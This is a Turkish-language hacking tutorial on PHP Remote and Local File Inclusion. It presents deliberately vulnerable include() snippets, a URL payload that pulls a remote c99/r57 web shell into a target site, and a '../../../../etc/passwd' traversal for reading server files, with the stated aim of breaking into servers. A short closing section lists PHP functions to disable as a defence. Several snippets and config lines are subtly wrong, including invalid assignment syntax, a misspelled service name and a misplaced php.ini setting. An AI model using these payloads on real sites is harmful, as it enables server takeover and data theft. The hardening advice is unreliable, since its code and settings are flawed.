Remote / Local File Inclusion (RFI-LFI)
Simdi sizlerle son zamanlarin en sik kullanilan ve çogu scriptte mevcut olan açiktan detayli bir sekilde bahsedecegim.
Öncelikle Remote file inclusion(RFI), local file inclusion ne demek onlari örenelim:)
Remote File inclusion: uzaktan dosya dahil etme.
Local File inclusion: yerel(serverdan) dosya dahil etme.
Remote File Inclusion: Öncelikle bu file inclusion açigimizdan bahsetmeye basla-yalim.Dedigim gibi son zamanlarin en çok kullanilan ve bulunan açiklarindan.
Bu açiklar sayesinde hedef siteye php shell’ler(c99,r57) upload edilebilir, hatta serverdaki tüm sitelere zarar verilebilir.Peki bu açiklar nasil meydana gelirler birazdan ondan bahsedelim.
Php scriptlerini kodlayan coderlerin hepsi profesyonel degillerdir, yada binlerce satir yazilan kodlarda yapilan hatalardan ortaya çikar bu File Include açiklari.Bir örnekle açiklamadan önce bazi 3-5 bilgi örenmeniz gerekmektedir.
Veriable: veriabler, php dilinde bilgileri bulunduran sepetler olarak düsebilirsiniz.
Include ve include_once: Kelime anlami dahil etmedir.php dilinde bir dosya ya, baska bir dosyayi dahil etmeye yarar.Binlerce satir kodu tek bir kod la baska bir sayfada kodlanmis olarka gösterebilirsiniz.
Require ve require_once: Görevi bir üstteki include ve include_once ile aynidir ama tek bir farki vardir.O farkta; bir scriptte include ile bir dosyayi baska bir dosyaya dahil ettik, ama o dahil ettigimiz dosya mevcut degil.Bu durumda o satiri php yorumlayicisi atlar, hata mesaji gösterir ve o sayfanin kalan kodlarini yorumlar.Ama require de bu durum yoktur.require ile dahil edilen dosya mevcut degilse, bu sefer tek bir hata kodu gösterir php yorumlayicisi ve sayfadaki diger kodlari okumayi durdurur.Bu fark bizim için önemsizdir, ama bilmenizde fayda var:)
Simdi bir örnek yapalim..
<?
include ($xoron.’../config.php’) ;
?>
Üstteki kodun bulundugu dosyayi test.php olarak kaydedin ve bir php destekleyen siteye atin.test.php yi açtiginizda bir hata alacaksinizdir.Bunun nedeni test.php ye dahil edilen config.php nin bulunamamasidir:)
www.mysite.com/test.php?xoron=http://shell-adresiniz?
Test.php de bulunun $xoron veriablei tanimli degildir.Yani sepet dolu degildir.Bizde o bos sepeti kendi kodumuzda yani c99 veya r57 shell’lerimizle doldurarak servera girebiliriz.
<?
$xoron: ‘files’;
include ($xoron.’../config.php’) ;
?>
Üstteki kodu test2.php olarak kaydedin ve php destekleyen sitenize atiniz.
www.mysite.com/test.php?xoron=http://shell-adresiniz?
Yazarsaniz açigin çalismadigini göreceksinizdir.Bunun nedeni $xoron: ‘files’;
Bu kod ile $xoron veriablenin tanimlanmasi yani sepetin doldurulmasidir.
Local File Inclusion: RFI açigindan bahsettikten sonra ise sira geldi LFI açiklarina.Bu açiklar RFI dan daha az kullanilmaktadir ve etkiside RFI kadar yoktur.Biraz hakkinda konusalim LFI’nin:). Gene php coderlarin acemilikleri veya unutkanliklarindan meydana gelen açiklardir.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyalari okuma iznimiz varsa okuyabiliriz.Her RFI açigini bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanimiz varken local file include yapmamiz saçma olurdu=) .
Bir örnekle açiklayalim;)
<?
include (’files/$cw/config.php’) ;
?>
Bu kodu test3.php olarak save edip php destekleyen bir servera atip çalistirdigimizda gene hata alacagizdir,bunun neden, config.php nin bulunamamasidir.Bu bizim için fark etmez bizim amacimiz farkli.
Bu koddaki $cw veriabli tanimli degildir bu yüzden asagidaki bir komutla okuma izni olan tüm dosyalari okuyabiliriz.
www.mysite.com/test3.php?cw=../../../../etc/passwd
ben üstte serverin /etc/passwd dosyasini okudum siz isterseniz baska dosyalarida okuyabilirsiniz.
<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>
Bu dosyayi test4.php olarka save edip php destekleyen bir hostta attiginizda LFI açiginin çalismadigini göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanimli olmayan $cw veriabli tanimlanmistir.Yani sepet doldurulmustur.
Son zamanlarin en çok kullanilan ve hostingcilerin basina en çok bela açan açiklarin basinda gelmektedir.
File Inclusion açiklarindan yararlanarak servera upload edilen php shell’lerden nasil korunurum diye düsünüyorsaniz iste cevabi….
/etc/php.ini dosyasini açin
disable_function satirini buluyoruz ve karsisina bunlari ekliyoruz.
system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
service htttpd restart diyoruz
NOT: Bu fonksiyonlar disable yapildiginda bazi scriptler serverinizda çalismayacaktir ama bu açiklardan da korumus olacaksiniz.